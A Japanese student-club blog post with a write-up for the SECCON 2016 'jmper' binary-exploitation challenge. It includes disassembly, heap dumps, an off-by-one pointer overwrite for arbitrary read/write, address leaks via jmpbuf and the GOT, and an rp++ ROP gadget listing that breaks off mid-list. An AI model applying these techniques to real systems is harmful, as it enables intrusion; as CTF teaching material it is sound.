seccon2016 jmper
これは何ですか。
この記事はOUCC アドベントカレンダー 2016http://www.adventar.org/calendars/1389の12日目の記事の予定でしたが、完全に頭から抜けていたので13日目に公開されました。
昨日(一昨日)の記事は@okwrtdsh 先輩による「GitHubとTravis Cを使って何かする」でした。
明日(今日)は @chiudesu 氏が何か書いてくれます。
ほんぺ
先日SECCON2016 Onlineがありました。 去年とはがらりと変わってバイナリオブザバイナリオブバイナリで殴り殺されました。(完)
というわけでその中で解けた(解けたとは言ってない)問題のwriteupを一問分置いておきます。 問題はjmper(Exploit300)です。溶けた!と思ったら15時を5分くらい過ぎてたので溶けてないです。 部員の中にはCTF何それおいしいのていう人もいると思うんで、どんな感じなのか雰囲気を感じ取ってもらえればよいかと思います。 とりあえず適当に書きなぐってるのでわかりにくいと思いますが雰囲気だけでも感じ取って下しえ。
らいとあっぷ
リモート鯖で動いてるelfバイナリとlibcが渡される。
目的は、脆弱な部分を見つけてshellを取り転がってるであろうflag(txtファイル)を読むこと。
まずchecksec.shでセキュリティ機構の確認。
tyanya@tyanya-VirtualBox:~/seccon/jumper$ /opt/checksec/checksec -f jmper RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 jmper tyanya@tyanya-VirtualBox:~/seccon/jumper$ /opt/checksec/checksec -f libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled DSO No RPATH No RUNPATH Yes 78 166 libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e
disasはこちら
000000000040081d <f>: 40081d: 55 push rbp 40081e: 48 89 e5 mov rbp,rsp 400821: 48 83 ec 20 sub rsp,0x20 400825: c7 05 f9 17 20 00 00 mov DWORD PTR [rip+0x2017f9],0x0 # 602028 <student_num> 40082c: 00 00 00 40082f: bf e8 0c 40 00 mov edi,0x400ce8 400834: e8 47 fe ff ff call 400680 <puts@plt> 400839: 48 8d 45 e8 lea rax,[rbp-0x18] 40083d: 48 89 c6 mov rsi,rax 400840: bf 3c 0d 40 00 mov edi,0x400d3c 400845: b8 00 00 00 00 mov eax,0x0 40084a: e8 c1 fe ff ff call 400710 <__isoc99_scanf@plt> 40084f: e8 6c fe ff ff call 4006c0 <getchar@plt> 400854: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18] 400857: 83 f8 01 cmp eax,0x1 40085a: 0f 85 88 00 00 00 jne 4008e8 <f+0xcb> 400860: 8b 05 c2 17 20 00 mov eax,DWORD PTR [rip+0x2017c2] # 602028 <student_num> 400866: 83 f8 1d cmp eax,0x1d 400869: 7e 1e jle 400889 <f+0x6c> 40086b: bf 3f 0d 40 00 mov edi,0x400d3f 400870: e8 0b fe ff ff call 400680 <puts@plt> 400875: 48 8b 05 bc 17 20 00 mov rax,QWORD PTR [rip+0x2017bc] # 602038 <jmpbuf> 40087c: be 52 bf 01 00 mov esi,0x1bf52 400881: 48 89 c7 mov rdi,rax 400884: e8 77 fe ff ff call 400700 <longjmp@plt> 400889: bf 30 00 00 00 mov edi,0x30 40088e: e8 4d fe ff ff call 4006e0 <malloc@plt> 400893: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400897: 8b 05 8b 17 20 00 mov eax,DWORD PTR [rip+0x20178b] # 602028 <student_num> 40089d: 48 63 d0 movsxd rdx,eax 4008a0: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 4008a4: 48 89 10 mov QWORD PTR [rax],rdx 4008a7: bf 20 00 00 00 mov edi,0x20 4008ac: e8 2f fe ff ff call 4006e0 <malloc@plt> 4008b1: 48 89 c2 mov rdx,rax 4008b4: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 4008b8: 48 89 50 28 mov QWORD PTR [rax+0x28],rdx 4008bc: 48 8b 05 6d 17 20 00 mov rax,QWORD PTR [rip+0x20176d] # 602030 <my_class> 4008c3: 8b 15 5f 17 20 00 mov edx,DWORD PTR [rip+0x20175f] # 602028 <student_num> 4008c9: 48 63 d2 movsxd rdx,edx 4008cc: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] 4008d0: 48 89 0c d0 mov QWORD PTR [rax+rdx*8],rcx 4008d4: 8b 05 4e 17 20 00 mov eax,DWORD PTR [rip+0x20174e] # 602028 <student_num> 4008da: 83 c0 01 add eax,0x1 4008dd: 89 05 45 17 20 00 mov DWORD PTR [rip+0x201745],eax # 602028 <student_num> 4008e3: e9 bb 02 00 00 jmp 400ba3 <f+0x386> 4008e8: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18] 4008eb: 83 f8 02 cmp eax,0x2 4008ee: 0f 85 bf 00 00 00 jne 4009b3 <f+0x196> 4008f4: be 5d 0d 40 00 mov esi,0x400d5d 4008f9: bf 61 0d 40 00 mov edi,0x400d61 4008fe: b8 00 00 00 00 mov eax,0x0 400903: e8 88 fd ff ff call 400690 <printf@plt> 400908: 48 8d 45 e4 lea rax,[rbp-0x1c] 40090c: 48 89 c6 mov rsi,rax 40090f: bf 3c 0d 40 00 mov edi,0x400d3c 400914: b8 00 00 00 00 mov eax,0x0 400919: e8 f2 fd ff ff call 400710 <__isoc99_scanf@plt> 40091e: e8 9d fd ff ff call 4006c0 <getchar@plt> 400923: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400926: 8b 05 fc 16 20 00 mov eax,DWORD PTR [rip+0x2016fc] # 602028 <student_num> 40092c: 39 c2 cmp edx,eax 40092e: 7d 07 jge 400937 <f+0x11a> 400930: 8b 45 e4 mov eax,DWORD PTR [rbp-0x1c] 400933: 85 c0 test eax,eax 400935: 79 14 jns 40094b <f+0x12e> 400937: bf 64 0d 40 00 mov edi,0x400d64 40093c: e8 3f fd ff ff call 400680 <puts@plt> 400941: bf 01 00 00 00 mov edi,0x1 400946: e8 d5 fd ff ff call 400720 <exit@plt> 40094b: be 70 0d 40 00 mov esi,0x400d70 400950: bf 61 0d 40 00 mov edi,0x400d61 400955: b8 00 00 00 00 mov eax,0x0 40095a: e8 31 fd ff ff call 400690 <printf@plt> 40095f: 48 8b 05 ca 16 20 00 mov rax,QWORD PTR [rip+0x2016ca] # 602030 <my_class> 400966: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400969: 48 63 d2 movsxd rdx,edx 40096c: 48 8b 04 d0 mov rax,QWORD PTR [rax+rdx*8] 400970: 48 8b 40 28 mov rax,QWORD PTR [rax+0x28] 400974: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 400978: c7 45 ec 00 00 00 00 mov DWORD PTR [rbp-0x14],0x0 40097f: eb 27 jmp 4009a8 <f+0x18b> 400981: e8 3a fd ff ff call 4006c0 <getchar@plt> 400986: 88 45 e3 mov BYTE PTR [rbp-0x1d],al 400989: 80 7d e3 0a cmp BYTE PTR [rbp-0x1d],0xa 40098d: 75 06 jne 400995 <f+0x178> 40098f: 90 nop 400990: e9 0e 02 00 00 jmp 400ba3 <f+0x386> 400995: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 400999: 0f b6 55 e3 movzx edx,BYTE PTR [rbp-0x1d] 40099d: 88 10 mov BYTE PTR [rax],dl 40099f: 48 83 45 f0 01 add QWORD PTR [rbp-0x10],0x1 4009a4: 83 45 ec 01 add DWORD PTR [rbp-0x14],0x1 4009a8: 83 7d ec 20 cmp DWORD PTR [rbp-0x14],0x20 4009ac: 7e d3 jle 400981 <f+0x164> 4009ae: e9 f0 01 00 00 jmp 400ba3 <f+0x386> 4009b3: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18] 4009b6: 83 f8 03 cmp eax,0x3 4009b9: 0f 85 bf 00 00 00 jne 400a7e <f+0x261> 4009bf: be 5d 0d 40 00 mov esi,0x400d5d 4009c4: bf 61 0d 40 00 mov edi,0x400d61 4009c9: b8 00 00 00 00 mov eax,0x0 4009ce: e8 bd fc ff ff call 400690 <printf@plt> 4009d3: 48 8d 45 e4 lea rax,[rbp-0x1c] 4009d7: 48 89 c6 mov rsi,rax 4009da: bf 3c 0d 40 00 mov edi,0x400d3c 4009df: b8 00 00 00 00 mov eax,0x0 4009e4: e8 27 fd ff ff call 400710 <__isoc99_scanf@plt> 4009e9: e8 d2 fc ff ff call 4006c0 <getchar@plt> 4009ee: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 4009f1: 8b 05 31 16 20 00 mov eax,DWORD PTR [rip+0x201631] # 602028 <student_num> 4009f7: 39 c2 cmp edx,eax 4009f9: 7d 07 jge 400a02 <f+0x1e5> 4009fb: 8b 45 e4 mov eax,DWORD PTR [rbp-0x1c] 4009fe: 85 c0 test eax,eax 400a00: 79 14 jns 400a16 <f+0x1f9> 400a02: bf 64 0d 40 00 mov edi,0x400d64 400a07: e8 74 fc ff ff call 400680 <puts@plt> 400a0c: bf 01 00 00 00 mov edi,0x1 400a11: e8 0a fd ff ff call 400720 <exit@plt> 400a16: be 7c 0d 40 00 mov esi,0x400d7c 400a1b: bf 61 0d 40 00 mov edi,0x400d61 400a20: b8 00 00 00 00 mov eax,0x0 400a25: e8 66 fc ff ff call 400690 <printf@plt> 400a2a: 48 8b 05 ff 15 20 00 mov rax,QWORD PTR [rip+0x2015ff] # 602030 <my_class> 400a31: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400a34: 48 63 d2 movsxd rdx,edx 400a37: 48 8b 04 d0 mov rax,QWORD PTR [rax+rdx*8] 400a3b: 48 83 c0 08 add rax,0x8 400a3f: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 400a43: c7 45 ec 00 00 00 00 mov DWORD PTR [rbp-0x14],0x0 400a4a: eb 27 jmp 400a73 <f+0x256> 400a4c: e8 6f fc ff ff call 4006c0 <getchar@plt> 400a51: 88 45 e3 mov BYTE PTR [rbp-0x1d],al 400a54: 80 7d e3 0a cmp BYTE PTR [rbp-0x1d],0xa 400a58: 75 06 jne 400a60 <f+0x243> 400a5a: 90 nop 400a5b: e9 43 01 00 00 jmp 400ba3 <f+0x386> 400a60: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 400a64: 0f b6 55 e3 movzx edx,BYTE PTR [rbp-0x1d] 400a68: 88 10 mov BYTE PTR [rax],dl 400a6a: 48 83 45 f0 01 add QWORD PTR [rbp-0x10],0x1 400a6f: 83 45 ec 01 add DWORD PTR [rbp-0x14],0x1 400a73: 83 7d ec 20 cmp DWORD PTR [rbp-0x14],0x20 400a77: 7e d3 jle 400a4c <f+0x22f> 400a79: e9 25 01 00 00 jmp 400ba3 <f+0x386> 400a7e: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18] 400a81: 83 f8 04 cmp eax,0x4 400a84: 0f 85 83 00 00 00 jne 400b0d <f+0x2f0> 400a8a: be 5d 0d 40 00 mov esi,0x400d5d 400a8f: bf 61 0d 40 00 mov edi,0x400d61 400a94: b8 00 00 00 00 mov eax,0x0 400a99: e8 f2 fb ff ff call 400690 <printf@plt> 400a9e: 48 8d 45 e4 lea rax,[rbp-0x1c] 400aa2: 48 89 c6 mov rsi,rax 400aa5: bf 3c 0d 40 00 mov edi,0x400d3c 400aaa: b8 00 00 00 00 mov eax,0x0 400aaf: e8 5c fc ff ff call 400710 <__isoc99_scanf@plt> 400ab4: e8 07 fc ff ff call 4006c0 <getchar@plt> 400ab9: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400abc: 8b 05 66 15 20 00 mov eax,DWORD PTR [rip+0x201566] # 602028 <student_num> 400ac2: 39 c2 cmp edx,eax 400ac4: 7d 07 jge 400acd <f+0x2b0> 400ac6: 8b 45 e4 mov eax,DWORD PTR [rbp-0x1c] 400ac9: 85 c0 test eax,eax 400acb: 79 14 jns 400ae1 <f+0x2c4> 400acd: bf 64 0d 40 00 mov edi,0x400d64 400ad2: e8 a9 fb ff ff call 400680 <puts@plt> 400ad7: bf 01 00 00 00 mov edi,0x1 400adc: e8 3f fc ff ff call 400720 <exit@plt> 400ae1: 48 8b 05 48 15 20 00 mov rax,QWORD PTR [rip+0x201548] # 602030 <my_class> 400ae8: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400aeb: 48 63 d2 movsxd rdx,edx 400aee: 48 8b 04 d0 mov rax,QWORD PTR [rax+rdx*8] 400af2: 48 8b 40 28 mov rax,QWORD PTR [rax+0x28] 400af6: 48 89 c6 mov rsi,rax 400af9: bf 61 0d 40 00 mov edi,0x400d61 400afe: b8 00 00 00 00 mov eax,0x0 400b03: e8 88 fb ff ff call 400690 <printf@plt> 400b08: e9 96 00 00 00 jmp 400ba3 <f+0x386> 400b0d: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18] 400b10: 83 f8 05 cmp eax,0x5 400b13: 0f 85 80 00 00 00 jne 400b99 <f+0x37c> 400b19: be 5d 0d 40 00 mov esi,0x400d5d 400b1e: bf 61 0d 40 00 mov edi,0x400d61 400b23: b8 00 00 00 00 mov eax,0x0 400b28: e8 63 fb ff ff call 400690 <printf@plt> 400b2d: 48 8d 45 e4 lea rax,[rbp-0x1c] 400b31: 48 89 c6 mov rsi,rax 400b34: bf 3c 0d 40 00 mov edi,0x400d3c 400b39: b8 00 00 00 00 mov eax,0x0 400b3e: e8 cd fb ff ff call 400710 <__isoc99_scanf@plt> 400b43: e8 78 fb ff ff call 4006c0 <getchar@plt> 400b48: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400b4b: 8b 05 d7 14 20 00 mov eax,DWORD PTR [rip+0x2014d7] # 602028 <student_num> 400b51: 39 c2 cmp edx,eax 400b53: 7d 07 jge 400b5c <f+0x33f> 400b55: 8b 45 e4 mov eax,DWORD PTR [rbp-0x1c] 400b58: 85 c0 test eax,eax 400b5a: 79 14 jns 400b70 <f+0x353> 400b5c: bf 64 0d 40 00 mov edi,0x400d64 400b61: e8 1a fb ff ff call 400680 <puts@plt> 400b66: bf 01 00 00 00 mov edi,0x1 400b6b: e8 b0 fb ff ff call 400720 <exit@plt> 400b70: 48 8b 05 b9 14 20 00 mov rax,QWORD PTR [rip+0x2014b9] # 602030 <my_class> 400b77: 8b 55 e4 mov edx,DWORD PTR [rbp-0x1c] 400b7a: 48 63 d2 movsxd rdx,edx 400b7d: 48 8b 04 d0 mov rax,QWORD PTR [rax+rdx*8] 400b81: 48 83 c0 08 add rax,0x8 400b85: 48 89 c6 mov rsi,rax 400b88: bf 61 0d 40 00 mov edi,0x400d61 400b8d: b8 00 00 00 00 mov eax,0x0 400b92: e8 f9 fa ff ff call 400690 <printf@plt> 400b97: eb 0a jmp 400ba3 <f+0x386> 400b99: bf 00 00 00 00 mov edi,0x0 400b9e: e8 7d fb ff ff call 400720 <exit@plt> 400ba3: e9 87 fc ff ff jmp 40082f <f+0x12> 0000000000400ba8 <main>: 400ba8: 55 push rbp 400ba9: 48 89 e5 mov rbp,rsp 400bac: 48 83 ec 10 sub rsp,0x10 400bb0: 48 8b 05 61 14 20 00 mov rax,QWORD PTR [rip+0x201461] # 602018 <stdin@@GLIBC_2.2.5> 400bb7: b9 00 00 00 00 mov ecx,0x0 400bbc: ba 02 00 00 00 mov edx,0x2 400bc1: be 00 00 00 00 mov esi,0x0 400bc6: 48 89 c7 mov rdi,rax 400bc9: e8 22 fb ff ff call 4006f0 <setvbuf@plt> 400bce: 48 8b 05 3b 14 20 00 mov rax,QWORD PTR [rip+0x20143b] # 602010 <__TMC_END__> 400bd5: b9 00 00 00 00 mov ecx,0x0 400bda: ba 02 00 00 00 mov edx,0x2 400bdf: be 00 00 00 00 mov esi,0x0 400be4: 48 89 c7 mov rdi,rax 400be7: e8 04 fb ff ff call 4006f0 <setvbuf@plt> 400bec: bf 88 0d 40 00 mov edi,0x400d88 400bf1: e8 8a fa ff ff call 400680 <puts@plt> 400bf6: bf a0 0d 40 00 mov edi,0x400da0 400bfb: e8 80 fa ff ff call 400680 <puts@plt> 400c00: bf f0 00 00 00 mov edi,0xf0 400c05: e8 d6 fa ff ff call 4006e0 <malloc@plt> 400c0a: 48 89 05 1f 14 20 00 mov QWORD PTR [rip+0x20141f],rax # 602030 <my_class> 400c11: bf c8 00 00 00 mov edi,0xc8 400c16: e8 c5 fa ff ff call 4006e0 <malloc@plt> 400c1b: 48 89 05 16 14 20 00 mov QWORD PTR [rip+0x201416],rax # 602038 <jmpbuf> 400c22: 48 8b 05 0f 14 20 00 mov rax,QWORD PTR [rip+0x20140f] # 602038 <jmpbuf> 400c29: 48 89 c7 mov rdi,rax 400c2c: e8 7f fa ff ff call 4006b0 <_setjmp@plt> 400c31: 89 45 fc mov DWORD PTR [rbp-0x4],eax 400c34: 83 7d fc 00 cmp DWORD PTR [rbp-0x4],0x0 400c38: 75 07 jne 400c41 <main+0x99> 400c3a: e8 de fb ff ff call 40081d <f> 400c3f: eb 0a jmp 400c4b <main+0xa3> 400c41: bf bf 0d 40 00 mov edi,0x400dbf 400c46: e8 35 fa ff ff call 400680 <puts@plt> 400c4b: b8 00 00 00 00 mov eax,0x0 400c50: c9 leave 400c51: c3 ret 400c52: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 400c59: 00 00 00 400c5c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
気合で怪しいところを探す。この手に限る(この手しか知らない)
怪しいところの図。
読み書き手段の確保
1,Add studentを選択するとmallocされてheap上にstudentの情報を格納する場所が確保される。
heap上のstudentの構造は、(memo)|(nameへのポインタ)|(何か)|(next_memo) ~という状態で、 memoをすべて埋めるとnameへのポインタの一番下を書き換えることができる。
下記は1番目のstudentのheap上のダンプです。
student1_name <= "B"*33 student1_memo <= まだ何も入力してない student1_name_ptr = 0x00603220 0x6031e8: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031f8: 0x00000000 0x00000000 0x00000000 0x00000000 0x603208: 0x00603220 0x00000000 0x00000000 0x00000000 0x603218: 0x00000031 0x00000000 0x42424242 0x42424242 0x603228: 0x42424242 0x42424242 0x42424242 0x42424242 0x603238: 0x42424242 0x42424242 0x00000042 0x00000000 0x603248: 0x00000041 0x00000000 0x00000001 0x00000000 0x603258: 0x00000000 0x00000000 0x00000000 0x00000000 0x603268: 0x00000000 0x00000000 0x00000000 0x00000000 0x603278: 0x00603290 0x00000000 0x00000000 0x00000000 0x603288: 0x00000031 0x00000000 0x00000000 0x00000000 0x603298: 0x00000000 0x00000000 0x00000000 0x00000000 0x6032a8: 0x00000000 0x00000000 show memo id0 => "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" student1_name <= "B"*33 student1_memo <= "A"*33 student1_name_ptr = 0x00603241 0x6031e8: 0x41414141 0x41414141 0x41414141 0x41414141 0x6031f8: 0x41414141 0x41414141 0x41414141 0x41414141 0x603208: 0x00603241 0x00000000 0x00000000 0x00000000 0x603218: 0x00000031 0x00000000 0x42424242 0x42424242 0x603228: 0x42424242 0x42424242 0x42424242 0x42424242 0x603238: 0x42424242 0x42424242 0x00000042 0x00000000 0x603248: 0x00000041 0x00000000 0x00000001 0x00000000 0x603258: 0x00000000 0x00000000 0x00000000 0x00000000 0x603268: 0x00000000 0x00000000 0x00000000 0x00000000 0x603278: 0x00603290 0x00000000 0x00000000 0x00000000 0x603288: 0x00000031 0x00000000 0x00000000 0x00000000 0x603298: 0x00000000 0x00000000 0x00000000 0x00000000 0x6032a8: 0x00000000 0x00000000 show memo id: 0 => ""
怪しいところ画像で文字化けしてたのはprintfによってポインタのとこまで読んでしまってたから。
また、nameはname_ptrが指す場所に書き込まれるので指定したアドレスに値を入力することができる。
ここでstudent1のname_ptrが指す先をstudent2のname_ptrにすることで、student1のnameに入力した値が指すアドレスに対して読み書きが可能になる。
student1_name <= 未入力 student1_memo <= "x"*33 student1_name_ptr -> 0x00603278 student2_name_ptr -> 0x00603290 0x6031e8: 0x78787878 0x78787878 0x78787878 0x78787878 0x6031f8: 0x78787878 0x78787878 0x78787878 0x78787878 0x603208: 0x00603278 0x00000000 0x00000000 0x00000000 0x603218: 0x00000031 0x00000000 0x00000000 0x00000000 0x603228: 0x00000000 0x00000000 0x00000000 0x00000000 0x603238: 0x00000000 0x00000000 0x00000000 0x00000000 0x603248: 0x00000041 0x00000000 0x00000001 0x00000000 0x603258: 0x00000000 0x00000000 0x00000000 0x00000000 0x603268: 0x00000000 0x00000000 0x00000000 0x00000000 0x603278: 0x00603290 0x00000000 0x00000000 0x00000000 0x603288: 0x00000031 0x00000000 0x00000000 0x00000000 0x603298: 0x00000000 0x00000000 0x00000000 0x00000000 0x6032a8: 0x00000000 0x00000000 student1_name <= "0x60" 0x6031e8: 0x78787878 0x78787878 0x78787878 0x78787878 0x6031f8: 0x78787878 0x78787878 0x78787878 0x78787878 0x603208: 0x00603278 0x00000000 0x00000000 0x00000000 0x603218: 0x00000031 0x00000000 0x00000000 0x00000000 0x603228: 0x00000000 0x00000000 0x00000000 0x00000000 0x603238: 0x00000000 0x00000000 0x00000000 0x00000000 0x603248: 0x00000041 0x00000000 0x00000001 0x00000000 0x603258: 0x00000000 0x00000000 0x00000000 0x00000000 0x603268: 0x00000000 0x00000000 0x00000000 0x00000000 0x603278: 0x30367830 0x00000000 0x00000000 0x00000000 0x603288: 0x00000031 0x00000000 0x00000000 0x00000000 0x603298: 0x00000000 0x00000000 0x00000000 0x00000000 0x6032a8: 0x00000000 0x00000000
student1_name_ptrが指す0x00603278(student2_name_ptr)に"0x60"(0x30367830)が書き込まれてることがわかる。
この状態でstudent2_nameに何か値を入力すれば、0x30367830に書き込まれることになる。
これで読み書き手段は確保できた。
必要な情報の確保
heap,stack,libcはアドレスがランダム化されてるので動的にアドレスをゲットする。
まず、heapのベースアドレスは上記のヒープのリークから求めることができる。(下のほうを000にすればいい)
次に、stackのベースアドレスを求める。
今回のバイナリの目立つところのlongjmpについて少し調べてみると、グローバル変数のなかにsetjmpを呼ばれた瞬間のebpが記録されているらしいことが分かった。
0x0000000000400c11 <+105>: mov edi,0xc8 0x0000000000400c16 <+110>: call 0x4006e0 <malloc@plt> 0x0000000000400c1b <+115>: mov QWORD PTR [rip+0x201416],rax # 0x602038 <jmpbuf> 0x0000000000400c22 <+122>: mov rax,QWORD PTR [rip+0x20140f] # 0x602038 <jmpbuf> 0x0000000000400c29 <+129>: mov rdi,rax 0x0000000000400c2c <+132>: call 0x4006b0 <_setjmp@plt> => 0x0000000000400c31 <+137>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400c34 <+140>: cmp DWORD PTR [rbp-0x4],0x0 0x0000000000400c38 <+144>: jne 0x400c41 <main+153> 0x0000000000400c3a <+146>: call 0x40081d <f> 0x0000000000400c3f <+151>: jmp 0x400c4b <main+163> 0x0000000000400c41 <+153>: mov edi,0x400dbf 0x0000000000400c46 <+158>: call 0x400680 <puts@plt> 0x0000000000400c4b <+163>: mov eax,0x0 0x0000000000400c50 <+168>: leave
mallocで確保した領域にjmpbufのアドレス格納されてるのでそこを見てみる。
(gdb) i r rax 0x0 0 rbx 0x0 0 rcx 0x7ffff7dd1b20 140737351850784 rdx 0x24b28345de7b86e0 2644320267328521952 rsi 0x0 0 rdi 0x603110 6304016 rbp 0x7fffffffdd30 0x7fffffffdd30 rsp 0x7fffffffdd20 0x7fffffffdd20 r8 0x603000 6303744 r9 0xd 13 r10 0x7ffff7dd1c38 140737351851064 r11 0x0 0 r12 0x400730 4196144 r13 0x7fffffffde10 140737488346640 r14 0x0 0 r15 0x0 0 rip 0x400c31 0x400c31 <main+137> eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/50x 0x603110 0x603110: 0x00000000 0x00000000 0xde5b86e0 0x24b28345 0x603120: 0x00400730 0x00000000 0xffffde10 0x00007fff 0x603130: 0x00000000 0x00000000 0x00000000 0x00000000 0x603140: 0xde7b86e0 0x24b28345 0x7c5986e0 0xdb4d7c3a 0x603150: 0x00000000 0x00000000 0x00000000 0x00000000 0x603160: 0x00000000 0x00000000 0x00000000 0x00000000 0x603170: 0x00000000 0x00000000 0x00000000 0x00000000 0x603180: 0x00000000 0x00000000 0x00000000 0x00000000 0x603190: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x6031d0: 0x00000000 0x00000000
0x603128のところにいますねぇ。
これはmain関数の時の値ですが計算でf関数のebpも求まりそうなのでこれでstackもクリアということで。
最後にlibcのアドレスをゲットしたい。
checksecがNo PIEと申しているのでgotから一度呼ばれてるlibc内の関数のアドレスを求め、 与えられてるlibcから差分を計算してやればlibcのベースアドレスを求めれそう。 今回は 0x601fb0の__libc_start_main@pltを使うことにした。
0000000000400670 <puts@plt-0x10>: 400670: ff 35 1a 19 20 00 push QWORD PTR [rip+0x20191a] # 601f90 <_GLOBAL_OFFSET_TABLE_+0x8> 400676: ff 25 1c 19 20 00 jmp QWORD PTR [rip+0x20191c] # 601f98 <_GLOBAL_OFFSET_TABLE_+0x10> 40067c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 0000000000400680 <puts@plt>: 400680: ff 25 1a 19 20 00 jmp QWORD PTR [rip+0x20191a] # 601fa0 <_GLOBAL_OFFSET_TABLE_+0x18> 400686: 68 00 00 00 00 push 0x0 40068b: e9 e0 ff ff ff jmp 400670 <_init+0x28> 0000000000400690 <printf@plt>: 400690: ff 25 12 19 20 00 jmp QWORD PTR [rip+0x201912] # 601fa8 <_GLOBAL_OFFSET_TABLE_+0x20> 400696: 68 01 00 00 00 push 0x1 40069b: e9 d0 ff ff ff jmp 400670 <_init+0x28> 00000000004006a0 <__libc_start_main@plt>: 4006a0: ff 25 0a 19 20 00 jmp QWORD PTR [rip+0x20190a] # 601fb0 <_GLOBAL_OFFSET_TABLE_+0x28> 4006a6: 68 02 00 00 00 push 0x2 4006ab: e9 c0 ff ff ff jmp 400670 <_init+0x28>
シェルを取る
system関数と/bin/shの文字列はlibc内に埋まっているのでpwntoolsで調達する。 あとほしいのは第一引数に/bin/shぶち込むためのpop rdi; ret;。 rp++にお世話になりました。
tyanya@tyanya-VirtualBox:~/seccon/jumper$ /tmp/rp-lin-x64 --file jmper --rop=3 --unique Trying to open 'jmper'.. Loading ELF information.. FileFormat: Elf, Arch: Ia64 Using the Nasm syntax.. Wait a few seconds, rp++ is looking for gadgets.. in PHDR 0 found. in LOAD 100 found. A total of 100 gadgets found. You decided to keep only the unique ones, 78 unique gadgets found. 0x00400b4e: adc al, 0x20 ; add byte [rcx], bh ; retn 0x077D ; (1 found) 0x00400803: adc al, 0x55 ; mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ; (1 found) 0x00400ccf: add bl, dh ; ret ; (1 found) 0x00400ccd: add byte [rax], al ; add bl, dh ; ret ; (1 found) 0x00400ccb: add byte [rax], al ; add byte [rax], al ; add bl, dh ; ret ; (1 found) 0x00400c4c: add byte [rax], al ; add byte [rax], al ; leave ; ret ; (1 found) 0x00400ccc: add byte [rax], al ; add byte [rax], al ; rep ret ; (1 found) 0x00400de5: add byte [rax], al ; add byte [rcx+rdi*8-0x01], bl ; call qword [rax+rax+0x00] ; (1 found) 0x00400c4d: add byte [rax], al ; add cl, cl ; ret ; (1 found) 0x0040065b: add byte [rax], al ; add rsp, 0x08 ; ret ; (1 found) 0x00400c4e: add byte [rax], al ; leave ; ret ; (1 found) 0x00400cce: add byte [rax], al ; rep ret ; (1 found) 0x00400cd2: add byte [rax], al ; sub rsp, 0x08 ; add rsp, 0x08 ; ret ; (1 found) 0x00400c9f: add byte [rcx+rcx*4-0x16], cl ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) 0x00400de7: add byte [rcx+rdi*8-0x01], bl ; call qword [rax+rax+0x00] ; (1 found) 0x004007e8: add byte [rcx], al ; rep ret ; (1 found) 0x0040092b: add byte [rcx], bh ; retn 0x077D ; (4 found) 0x00400c4f: add cl, cl ; ret ; (1 found) 0x004007e4: add eax, 0x00201836 ; add ebx, esi ; ret ; (1 found) 0x004007e9: add ebx, esi ; ret ; (1 found) 0x0040065e: add esp, 0x08 ; ret ; (2 found) 0x0040065d: add rsp, 0x08 ; ret ; (2 found) 0x00400784: and byte [rax+0x00], ah ; jmp rax ; (1 found) 0x004007c4: and byte [rax+0x00], ah ; jmp rdx ; (1 found) 0x004007e7: and byte [rax], al ; add ebx, esi ; ret ; (1 found) 0x00400ca9: call qword [r12+rbx*8] ; (1 found) 0x00400deb: call qword [rax+rax+0x00] ; (1 found) 0x0040081c: call qword [rbp+0x48] ; (2 found) 0x00400caa: call qword [rsp+rbx*8] ; (1 found) 0x0040080d: call rax ; (1 found) 0x004008b0: dec dword [rax-0x77] ; retn 0x8B48 ; (1 found) 0x00400cac: fmul qword [rax-0x7D] ; ret ; (1 found) 0x00400780: hlt ; pop rbp ; mov edi, 0x00602010 ; jmp rax ; (1 found) 0x00400ecb: jmp qword [rbp+0x00] ; (1 found) 0x00400787: jmp rax ; (1 found) 0x004007c7: jmp rdx ; (1 found) 0x00400c50: leave ; ret ; (1 found) 0x004007e3: mov byte [0x0000000000602020], 0x00000001 ; rep ret ; (1 found) 0x00400c4b: mov eax, 0x00000000 ; leave ; ret ; (1 found) 0x0040080b: mov ebp, esp ; call rax ; (1 found) 0x00400805: mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ; (1 found) 0x00400782: mov edi, 0x00602010 ; jmp rax ; (1 found) 0x004007c2: mov edi, 0x00602010 ; jmp rdx ; (1 found) 0x00400ca7: mov edi, edi ; call qword 